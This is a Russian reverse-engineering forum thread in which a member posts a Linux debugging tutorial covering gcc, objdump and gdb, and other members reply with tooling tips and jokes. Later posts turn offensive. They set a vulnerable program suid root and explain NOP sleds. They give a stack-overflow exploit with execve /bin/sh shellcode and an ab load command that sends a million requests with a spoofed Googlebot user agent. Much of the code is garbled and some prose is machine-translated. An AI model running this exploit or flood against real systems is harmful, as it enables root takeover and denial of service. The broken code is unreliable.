Сейчас на форуме: (+5 невидимых)

 eXeL@B —› Дневники и блоги —› Отладка программ под Linux
. 1 . 2 . >>
Посл.ответ Сообщение

Ранг: 16.2 (новичок), 11thx
Активность: 0.030
Статус: Участник

Создано: 04 февраля 2017 20:21 · Поправил: Модератор
· Личное сообщение · #1

0. Здравствуйте дорогие друзья,мне захотелось рассказать про отладку программ под Linux.
Для начала я вам расскажу, что для этого нам потребуется.
компилятор GCC,он присутствует практически во всех дистрибутивах.
Поэтому его установку я объяснять не буду.
Открываем терминал пишем.

1. mkdir ctest // Первая команда нам создаст каталог.
2. cd ctest // вторая перейдет в этот каталог.
3. nano ctest.c //а третья создаст файл ctest.c / откроет в текстовом редакторе nano.

4. Теперь нам необходимо ввести :

Code:
  1. #
  2. include < stdio.>
  3.   void function1() {
  4.     int i, j;
  5.     for (= 0; i < 100000; i++)
  6.       j += i;
  7.   }
  8. void function2() {
  9.   int i, j;
  10.   function1();
  11.   for (= 0; i < 200000; i++)
  12.     j = i;
  13. }
  14. int main() {
  15.   int i, j;
  16.   for (= 0; i < 100; i++)
  17.     function1();
  18.   for (= 0; i < 50000; i++)
  19.     function2();
  20.   return 0;
  21. }


5. сохранить наш код в данном файле, для этого нажмем Ctrl+X,
на что нам редактор сообщит, сохранить или нет изменения в нашем файле,
нажмем на клавиатуре Y или напишем Да.

6.Oткомпилировать нашу программу.
gcc -o ctest ctest.c

7. ввести: s~ objdump -d ctest //теперь смотрим дамп.



8f23_04.02.2017_EXELAB.rU.tgz - 01.png



Ранг: 590.6 (!), 408thx
Активность: 0.360.18
Статус: Модератор

Создано: 04 февраля 2017 20:33
· Личное сообщение · #2

А где про дебаг? Или это в следующих сериях?

-----
старый пень




Ранг: 431.7 (мудрец), 390thx
Активность: 0.730.32
Статус: Участник

Создано: 04 февраля 2017 20:43 · Поправил: dosprog
· Личное сообщение · #3

А шо там тот дебаг.
Зато интересно: функция1, функция2..
Меня вот заинтриговало, что функция2 вызывается 50000 раз, а функция1 только 100 раз.
В этом какой-то ускользающий смысл
Крутой замес короче.




Ранг: 623.6 (!), 521thx
Активность: 0.330.9
Статус: Участник
_Вечный_Студент_

Создано: 05 февраля 2017 02:34
· Личное сообщение · #4

Дык, а вопрос-то в чем?
Или это т.с. "туториал"? Тогда, конечно, спасибо!

-----
Give me a HANDLE and I will move the Earth.





Ранг: 338.5 (мудрец), 349thx
Активность: 2.112.42
Статус: Участник

Создано: 06 февраля 2017 02:46
· Личное сообщение · #5

Очень познавательно, спасибо. Но вы упустили главный момент - текстовый вывод в вашем отлачике тоже ебля с @#$%mov$#eax

-----
vx




Ранг: 192.3 (ветеран), 18thx
Активность: 0.120
Статус: Участник
stoned machine-gunner

Создано: 21 февраля 2017 19:28 · Поправил: gloom
· Личное сообщение · #6

Если у кого есть опыт реальной отладки под linux (не крякмисов), то прошу откликнуться.
Во-первых пытаюсь отладить службу, многопоточную.
Во-вторых IDA очень нестабильно ведет себя.
Прошу поделиться информацией на этот счет, т.к. опыта такого рода нет и информация в интернете скудна.
Какими инструментами лучше всего пользоваться в таком случае?

Действую таким образом:
1. Смотрю PID процесса netstat -lp, либо ps aux.
2. gdbserver аттачусь к процессу.
3. На виндовой машине открываю idaq64, гружу в него ELF файл этой службы и настраиваю отладку с удаленной машиной.

Пока искал информацию в интернете по своей проблеме, наткнулся на то, что линукс отладчик IDA хреновый.
И может в этом причина?
Да и еще в самом gdb есть такая настройка, как set follow-fork-mode child. Как я понял в gdbserver такого нет или я ошибаюсь?

Заранее спасибо за любую ценную информацию.

-----
once you have tried it, you will never want anything else





Ранг: 324.3 (мудрец), 221thx
Активность: 0.480.37
Статус: Участник

Создано: 21 февраля 2017 20:25
· Личное сообщение · #7

gloom пишет:
Во-вторых IDA очень нестабильно ведет себя.

Не помню уже точно, но когда я искал в чём дело, проблема где-то около того, что двиг для отладки под linux, который используется в иде, при N выполняющихся потоков и ещё каких-то условиях подвергается спаму сигналов SIG_USER. Проблему можно разрешить только если нормальной парой gdb-gdbserver и необязательно самых новых версий

-----
IZ.RU




Ранг: 2.2 (гость), 4thx
Активность: 0.010
Статус: Участник

Создано: 22 февраля 2017 21:35 · Поправил: whoami
· Личное сообщение · #8

@gloom

Если связка IDA-GDB ведет себя не стабильно, можно еще попробовать отладить с помощью linux_server из пакета IDA: просто запустить ее на Линуксе, потом из Винды подключиться так: Debugger > Select Remote Linux Debugger.

Ну и на вскидку, если вдруг не знаете, в Линуксе есть классный трасировщик системных вызовов strace (который использует штатный механизм отладки ptrace) и трасировщик библиотечных вызовов ltrace, оба хороши и очень могут помочь.

Добавлено спустя 0 минут
Ну а если забыть про IDA, то есть еще и radare2 + radare2book: очень хороший, развивающийся комбайн инструментов для реверсинга, но здесь нужно инвестировать время на его изучение.

| Сообщение посчитали полезным: gloom


Ранг: 116.6 (ветеран), 8thx
Активность: 0.050
Статус: Участник

Создано: 22 февраля 2017 22:35
· Личное сообщение · #9

IDA + linux_server пашед на ура:


| Сообщение посчитали полезным: gloom

Ранг: 192.3 (ветеран), 18thx
Активность: 0.120
Статус: Участник
stoned machine-gunner

Создано: 22 февраля 2017 22:43
· Личное сообщение · #10

Всем спасибо! linux_server64 решает

-----
once you have tried it, you will never want anything else




Ранг: 16.2 (новичок), 11thx
Активность: 0.030
Статус: Участник

Создано: 23 февраля 2017 02:33 · Поправил: Abraham
· Личное сообщение · #11

Здравствуйте друзья! Извиняюсь, что не отвечал.Будет больше времени, разверну тему linux/дебаг. ))) Вот HEX Редактор удобный,может кто возьмет на вооружение. Bless Hex Editor http://home.gna.org/bless/downloads.html



Ранг: 53.9 (постоянный), 19thx
Активность: 0.040
Статус: Участник

Создано: 23 февраля 2017 04:04
· Личное сообщение · #12

Abraham пишет:
что для этого нам потребуется.
компилятор GCC,он присутствует практически во всех дистрибутивах.

Но однако
Abraham пишет:
1. mkdir ctest // Первая команда нам создаст каталог.
2. cd ctest // вторая перейдет в этот каталог.
3. nano ctest.c //а третья создаст файл ctest.c / откроет в текстовом редакторе nano.

Т.е. по вашему gcc поставить проще чем создать директорию и установить nano (сюрприз, он не во всех дистрах по умолчанию ) ?

Более прикольно выглядело бы так.
3. vi ctest.c
4. А теперь ищите как из него выйти БУГАГА




Ранг: 605.2 (!), 341thx
Активность: 0.470.25
Статус: Модератор
Research & Development

Создано: 23 февраля 2017 12:55
· Личное сообщение · #13

Abraham
Используй тэг ASM для обрамления кода и сохранения форматирования.
Поправил в твоём посте.

-----
EnJoy!




Ранг: 16.2 (новичок), 11thx
Активность: 0.030
Статус: Участник

Создано: 23 февраля 2017 14:28 · Поправил: Abraham
· Личное сообщение · #14

Zorn / (сюрприз, он не во всех дистрах по умолчанию ) не во всех >я собрал голое ядро linux/GNU
difexacaw (Какая то примитивная ёбынь открытая идой - это не отладка. ) это дело вкусa / это не ида. говно как Windows, пользоваться только под виртуалкой/что я делаю.



Ранг: 16.2 (новичок), 11thx
Активность: 0.030
Статус: Участник

Создано: 03 марта 2017 04:22 · Поправил: Abraham
· Личное сообщение · #15

У вас есть программа,если нет .... то это не беда, можно создать ее.
Как , я написал выше. Теперь у нас есть с скомпилирована программа.Сейчас мы создадим файл , в нем будет наша программа , в виде ассемблерного кода. $ gcc -S prog.c $ cat prog.s мы видим ( Теперь протестируйте сами.
Как и ожидалось, GCC компилятор создает исполняемый файл программы, который называется prog, и присваивает ему надлежащее
разрешения должны быть выполнены (обратите внимание, что этот формат не создает промежуточный файл объекта).
Когда
программа запускается, она производит ожидаемый выход на консоли.
Один очень полезный параметр командной строки является параметром -S. Это создает промежуточный
ассемблере файл, созданный компилятором, прежде чем ассемблер монтирует его. Вот пример снаружи
поставил используя параметр -S.) Prog файл показывает, как компилятор создал инструкции на языке ассемблера для реализации
C программа исходный код. Это полезно при попытке оптимизировать приложения C, чтобы определить, каким образом
компилятор реализует различные функции языка C в коде команды.
я тип нудный не читайте, тестируйте. 01. $ gcc -S prog.c 02. $ cat prog.s




Ранг: 150.3 (ветеран), 175thx
Активность: 0.160.07
Статус: Участник

Создано: 03 марта 2017 04:54
· Личное сообщение · #16

а может, всё-таки блог заведёшь?

| Сообщение посчитали полезным: Abraham, SReg

Ранг: 16.2 (новичок), 11thx
Активность: 0.030
Статус: Участник

Создано: 03 марта 2017 05:19 · Поправил: Abraham
· Личное сообщение · #17

dosprog
Я создал простую демонстрационную программу. Основная программа имеет два контура. один, который вызывает function1 () 100
раз, и один, который вызывает function2 () 50000 раз. Каждая из функций, просто выполняет простые петли,
хотя function2 () также вызывает function1 () каждый раз, когда она вызывается.



Ранг: 95.1 (постоянный), 247thx
Активность: 0.260.01
Статус: Участник

Создано: 03 марта 2017 06:03
· Личное сообщение · #18

Abraham пишет:
Доброй ночи!Здравствуйте друзья.Кто то с девушкой спит,а я с компьютером.

Ну раз тут шутки за 600, то я сплю с Vovan666.Он поинтереснее женщины будет.
Abraham пишет:
Один очень полезный параметр командной строки является параметром -S. Это создает промежуточный
ассемблере файл, созданный компилятором, прежде чем ассемблер монтирует его. Вот пример снаружи
поставил используя параметр -S.) Prog файл показывает, как компилятор создал инструкции на языке ассемблера для реализации
C программа исходный код.

Facepalm.Это гугл транслейт.Лучше бы на инлише этот бот писал.Коднуть реггер и постер - дело пары строк кода.
PS. /me ушел монтировать ассемблер.

-----
TEST YOUR MIGHT




Ранг: 16.2 (новичок), 11thx
Активность: 0.030
Статус: Участник

Создано: 13 марта 2017 13:09 · Поправил: Abraham
· Личное сообщение · #19

01. Приветствую вас друзья! Продолжаю говорить, об этичном ассемблере,под лицензия GNU.
Без всякого закрыто говна, которое может через открытые порты вшивать малварь .))
Вас ждет, очередная фишка . Ладно, давайте вместе смаканем и глянем.
Начнем с того, что посмотрим машинный код.
objdump -D pro | grep -A5 main.:
Программа objdump выводит слишком много строк, поэтому в командной
строке ее вывод направлен на
вход grep с параметром, задающим вывести только 5 строк. можно задать 1000, в чем проблема?!
02. Тот же код можно вывести в синтаксисе Intel, указав для objdump
дополнительный параметр командной
строки -M intel и получив следующий результат.
objdump -M intel -D pro | grep -A5 main.: это наша программа =>( pro )
Я надеюсь вы уже скомпилировали мою программу?Нет.....? Так за дело !


Code:
  1.  #include <stdio.h>
  2. int main()
  3. {
  4. int  i;
  5. for(i=0; i < 1000000; i++) // Цикл.
  6. {
  7. printf ("Hello CRACKER\n"); // Вывести строку 1000000
  8. {
  9. return 0; // Сообщить ОС, что программазавершилась без ошибок.
  10.  
  11. }





Ранг: 605.2 (!), 341thx
Активность: 0.470.25
Статус: Модератор
Research & Development

Создано: 13 марта 2017 22:28
· Личное сообщение · #20

Abraham
Перенесено в раздел форума Дневники и блоги

-----
EnJoy!


| Сообщение посчитали полезным: Abraham

Ранг: 16.2 (новичок), 11thx
Активность: 0.030
Статус: Участник

Создано: 15 марта 2017 20:09 · Поправил: Abraham
· Личное сообщение · #21

Jupiter ok.)
00. GDB. Отладчик позволяет пошагово выполнять скомпилированную программу,
исследовать память программы и просматривать регистры процессора.
Ниже показано, как с помощью GDB выяснить состояние регистров
процессора непосредственно перед началом работы программы.
На функции main() установлена точка останова (breakpoint), поэтому
выполнение останавливается непосредственно перед началом нашего
кода. Затем GDB запускает программу,
останавливается в точке останова и получает команду показать все регистры процессора и их текущее состояние.
Code:
  1. 01. $cd progi  // папка с программой.
  2. 02. $ gdb ./pro  // наша программа.  
  3. 03. (gdb) break  main //На функции main() установлена точка останова ( breakpoint). 
  4. 04. (gdb) run  
  5. 05. (gdb) info registers  // это итак понятно , смотрим дальше  ниже.
  6. 06. (gdb) выход, команда quit .





Ранг: 605.2 (!), 341thx
Активность: 0.470.25
Статус: Модератор
Research & Development

Создано: 15 марта 2017 22:15
· Личное сообщение · #22

Юзер "administrator" на лине несколько пугает ))

-----
EnJoy!





Ранг: 605.2 (!), 341thx
Активность: 0.470.25
Статус: Модератор
Research & Development

Создано: 16 марта 2017 10:32
· Личное сообщение · #23

Abraham
А скрин данного треда форума для чего? Для демонстрации браузера Tor?

Abraham пишет:
Вдруг, форум exelab.ru будет захвачен правоохранительными органами, ведь для них это жирная добыча


Так форум же открытый. Логи банов есть. А всего остального - нет. Даже если допустить, что всё уже захвачено, то тут нет ничего такого, чего товарищ майор не может получить обычными средствами.

-----
EnJoy!




Ранг: 488.1 (мудрец), 272thx
Активность: 0.350
Статус: Участник

Создано: 17 марта 2017 07:37
· Личное сообщение · #24

Abraham пишет:
И где то здесь, теряется мой секретный ключ.Поможете найти ?

Это упакованный в PSK стандарте или как он там.. RSA ключ.. еслиб погуглил сам формат бы нашел
RSA_PubKey:=
'*********************************************************************************'+
'*********************************************************************************'+
'*********************************************************************************'+
'*********************************************************************************'+
''****************************************************************************'+mw==';

sRes:=DecodeBase64(RSA_PubKey);
mLog.Lines.Add(DumpStr(sRes));

expLength:=DecodeLongInt(sRes,12);
modLength:=DecodeLongInt(sRes,16+expLength);

mLog.Lines.Add('expLength='+IntToHex(expLength,8));
mLog.Lines.Add('modLength='+IntToHex(modLength,8));
sTmp:='';
for i:=1 to Length(sRes) do
begin
sTmp:=sTmp+' '+IntToHex(ord(sRes[i]),2);
end;

-----
Наша работа во тьме, Мы делаем, что умеем. Мы отдаем, что имеем, Наша работа во тьме....




Ранг: 488.1 (мудрец), 272thx
Активность: 0.350
Статус: Участник

Создано: 17 марта 2017 22:21
· Личное сообщение · #25

Abraham пишет:
Более стойкой шифрования, это шифрование консольное, а не графическое.

вышли мне тоже стойкой хорошей травы.. графика тут причем?

-----
Наша работа во тьме, Мы делаем, что умеем. Мы отдаем, что имеем, Наша работа во тьме....




Ранг: 16.2 (новичок), 11thx
Активность: 0.030
Статус: Участник

Создано: 20 марта 2017 05:05 · Поправил: Abraham
· Личное сообщение · #26

Code:
  1. \`-"'"-'/
  2. 0 0 {
  3. =. Y .=
  4.  /^^^\  
  5.  / """ \
  6. |  " |
  7. \       /
  8. (  )-(  )
  9. -""---""-        

Друзья, чтобы вы не штудировали много литературы ,и не вбивать одну и туже команду. Синтаксисом Intel,
нужно настроить на работу наш инструмент. Внутри GDB синтаксис дизассемблирования Intel можно задать командой.
Code:
  1. Чтобы такая настройка действовала при каждом запуске GDB, 
  2. поместите эту команду "set disassembly-flavor intel"  в файл.  
  3. расположенный в вашем основном каталоге. 
  4. Файл  находится, вот поэтому пути. /etc/gdb файл. gdbinit. 
  5. Зайти с правами администратора. sudo nautilus.





Ранг: 324.3 (мудрец), 221thx
Активность: 0.480.37
Статус: Участник

Создано: 20 марта 2017 07:16
· Личное сообщение · #27

VodoleY пишет:
вышли мне тоже стойкой хорошей травы.. графика тут причем?


VodoleY, на траву не стоит расчитывать:

Abraham пишет:
Не бере в голову , я отдыхаю, пивасик накатваю...
приятная музыка, под пивасик..... самое то....




Я тоже не понял про графику ))
У меня тоже музыка(из подписи). А пивасика нет... Без него мучаюсь с юникорном. Но идея хорошая про вышли мне! Присоединяюсь - мне тоже пива!!!

-----
IZ.RU




Ранг: 16.2 (новичок), 11thx
Активность: 0.030
Статус: Участник

Создано: 04 апреля 2017 11:07 · Поправил: Abraham
· Личное сообщение · #28

Приветствую вас друзья !
Займемся отладкой нашей программы.
Сначала выводится исходный код и результат дизассемблирования
функции main(). Затем на начало main() устанавливается точка останова
и запускается программа.
Точка останова сообщает отладчику, что дойдя до нее, он должен приостановить выполнение программы.
Поскольку точка останова установлена на начало функции main(), программа
доходит до нее и останавливается перед выполнением любых команд из
main(). Отображается значение RIP (указателя текущей команды).
Обратите внимание.
RIP содержит адрес памяти, по которому расположена команда из дизассемблированного кода функции main(). Компилятор
генерирует их, чтобы организовать память для локальных переменных
функции main(). Частично причина, по которой C требует объявлять переменные, заключается в том, чтобы помочь составлению этого участка
кода. Отладчику известно, что эта часть кода генерируется автоматически, и он достаточно сообразителен, чтобы проскочить ее.
Команда x отладчика позволяет просмотреть разными способами содержимое по определенному адресу памяти. Команда принимает два
аргумента. адрес памяти и формат отображения содержимого. Формат
отображения также представляет собой односимвольное сокращение,
которому может предшествовать число,
указывающее количество отображаемых элементов.
Вот обозначения некоторых стандартных форматов.
o Восьмеричный (octal).
x Шестнадцатеричный (hexadecimal).
u Десятичный без знака (unsigned decimal).
t Двоичный (binary).
Эти форматы можно указывать в команде examine для изучения заданных адресов памяти.
В следующем примере используется текущий
адрес из регистра RIP. В GDB часто используются сокращенные команды,
и даже info register rip можно сократить до i r rip.


Сейчас разрежем нашу программу скальпелем.
Будем выковыривать , смаковать, обсасывать, по байтам .
Наглядно намного понятнее, чем я мечу бисер.
Смотрим.


Куда это я веду! ? Если админы не будут против, можем исследовать, как происходит переполнение буфера.


(Если крекер захочет записать 30 байт данных в буфер, котором выделено только 20 байт памяти наверняка будет крах программы .Это называется переполнение буфера. Поскольку лишние байты переполняют буфер и разместит за концом отведенной памяти,разрушив , что находилось дальше. Если будет изменен важный участок данных ,это будет конец программы. )Ну чтоооо,,,,, глянем как это происходит. Пример уязвимого кода ,который принимает один аргумент и пытается поместить его значение,каким бы оно ни было,в буфер длиной 250000 байт. Прога не чего не делает , кроме засирания памяти. Чтобы сделать ее причиной уязвимости, расскажу попозже.а сейчас, смотрите .
Code:
  1.  #include <stdio.h>
  2.  
  3. int main(int argc, char *argv[])
  4. {
  5.          char buffer[250000];
  6.          strcpy(buffer, argv[1]);
  7.          return 0;
  8.          
  9. }




Ранг: 16.2 (новичок), 11thx
Активность: 0.030
Статус: Участник

Создано: 05 апреля 2017 10:55 · Поправил: Abraham
· Личное сообщение · #29

Есть функция под именем overlow_function(),которая принимает указатель на строку с именем str и и копирует находятся по этому адресу памяти данные в локальную переменную buffer, которой выделено 100 байт памяти. Главная функция программы выделяет буфер размером 1000 байт с именем big_string и с помощью цикла for заполняет буфер символами Y . Затем она вызывает overlow_function(), передав в качестве аргумента указатель на этот 1000-байтовый буфер.Это не должно пройти бесследно,потому что overlow_function() попытаемся втиснуть 1000 байт данных в буфер, котророму выделено всего 100 байт памяти. Оставшиеся 900 байт данных просто покроют все,что находится в памяти за буфером.Прога аварийно уснет в результате переполнения.

Code:
  1.  #include <stdio.h>
  2.  
  3. void  overflow_function (char *str) 
  4. {
  5.       char buffer[100];
  6.     
  7.       strcpy(buffer, str);
  8.       int main()
  9. {
  10.       char big_string[1000];
  11.       int i;
  12.                  
  13.       for(i=0; i < 1000; i++)
  14.      {
  15.      big_string[1] = 'Y';
  16.      }
  17.      overflow_function(big_string);
  18.      exit(0);
  19. }  

дальше, "нехороший человек" пишет на ассемблере /
заканчивает программу,которую можно засадить в буфер.
Есть ограничения , код должен быть законченной программой,
не должно быть лишнего , должен иметь вид обычных данных,
помещаемых в буфер.
Будем исследовать дальше ,как это происходит.
Про Windows я вообще не говорю ,это ходячий троян.
Надеюсь, люди здесь порядочные, и не будут использовать в корыстных целях.
Черт побери, мы здесь крекеры и исследуем программы. Это двигатель всего.
Пришла весна,время размножаться.
Делаем эту программу уязвимой,изменим владельца на root установим бит suid для скомпилированного двоичного файла.pr01 представляет собой suid-программу с правами root ,уязвимую к переполнению буфера, нам нужен код , чтобы сгенерировать буфер,на вход уязвимость программы. Буфер должен содержать код и переписывать адреса возврата в стеке таким образом,чтобы этот код оказался выполненным.Заранее узнать фактический адрес кода,что может быть непросто в динамическом изменяемом стеке. Сложность вызывает поместить значение этого адреса на место тех четырех байт, в которых хранится адрес возврата в стека.Даже если известен правильный адрес,но не будет затерт нужный участок памяти,прога аварийно завершится. Принемаеме стандартных приема. Забиваем эту сучку, NOPАМИ. Если адрес возврата переписать любую из адресов,входящих в NOP-цепочку,то rip соскользнет вниз по цепочке до кода, который выполняется , нам это и надо. прога pr01
Code:
  1. $ cd prog
  2. prog$ sudo chown root pr01
  3. prog$ sudo chmod +s pr01
  4. prog$ ls -l  pr01
  5. - rwsrwsr-1 root admin 8580 aпр. 5 09:29 pr01




Ранг: 16.2 (новичок), 11thx
Активность: 0.030
Статус: Участник

Создано: 08 апреля 2017 10:58 · Поправил: Abraham
· Личное сообщение · #30

Я недавно тестировал свой сайт на прочность.
Если у тебя есть свой сайт?! Давайте проверим его на прочность,как?!
Апач нам поможет,будем проверять стоит ли на сайте DDoS защита.
Введение.
Мы будем проверять сервер на устойчивость.
Открыть командную строку в Linux.
Установка апач.
Code:
  1. # apt-get install apache2-utils
  2. # ab -n  1000000 -100000  -r  -k  -H  "User-Agent: Google Bot" https://  адрес сайта 
  3. -1000000 количество запросов которые будут отправляться. 
  4. -с  100000 количество одновременных соединений.
  5. -r исключение ошибок. 
  6. -k держать все соединения живыми.
  7. -"User-Agent: Google Bot" указываем юзер агента.)


Рассмотрим попозже следующую программу (подробнее).

Code:
  1. #include <stdio.h>
  2.  
  3. char code[]
  4. "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
  5. "\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x0b\x0b\x8d\x4b\x08\x8d"
  6. "\x53\x0c\xcd\x80\xe8\xe5\xff\xff\x2f\x62\x69\x6e\x2f\x73" "\x68";
  7.  
  8. unsigned long sp(void)
  9. { _asm_("movl %rsp,%rax"); }
  10.  
  11. int main(int argc, char *argv[])
  12. {
  13.     int i, offset;
  14.     long rsp, ret, *addr_ptr;
  15.     char *buffer, *prt;
  16.     
  17.     offset = 0;
  18.     rsp = sp();
  19.     ret = - offset;
  20.     
  21.     printf(" Stack pointer (rsp): 0x%x\n",rsp);
  22.     printf(" Offset from rsp : 0x%x\n",offset);
  23.     printf(" Desired Return Addr : 0x%x\n",ret);
  24.     
  25.     buffer = malloc(600);
  26.     
  27.     ptr = buffer;
  28.     addr_ptr = (long *) ptr;
  29.     for(i=0; i < 600; i+=4)
  30.     { *(addr_ptr++) = ret; }
  31.     
  32.     for(i=0; i < 200; i++)
  33.     { buffer[i] = '\x90'; }
  34.     
  35.     prt = buffer + 200;
  36.     for(i=0; i < strlen(code); i++)
  37.     { *(ptr++) = code[1]; }0
  38.     
  39.     buffer[600-1] = 0;
  40.     execl("./vuln" , "vuln" , buffer ,0);
  41.     free(buffer);
  42.     
  43.     return 0;
  44.     
  45. }



. 1 . 2 . >>
 eXeL@B —› Дневники и блоги —› Отладка программ под Linux
:: Ваш ответ
Жирный  Курсив  Подчеркнутый  Перечеркнутый  {mpf5}  Код  Вставить ссылку 
:s1: :s2: :s3: :s4: :s5: :s6: :s7: :s8: :s9: :s10: :s11: :s12: :s13: :s14: :s15: :s16:


Максимальный размер аттача: 500KB.
Ваш логин: german1505 » Выход » ЛС
   Для печати Для печати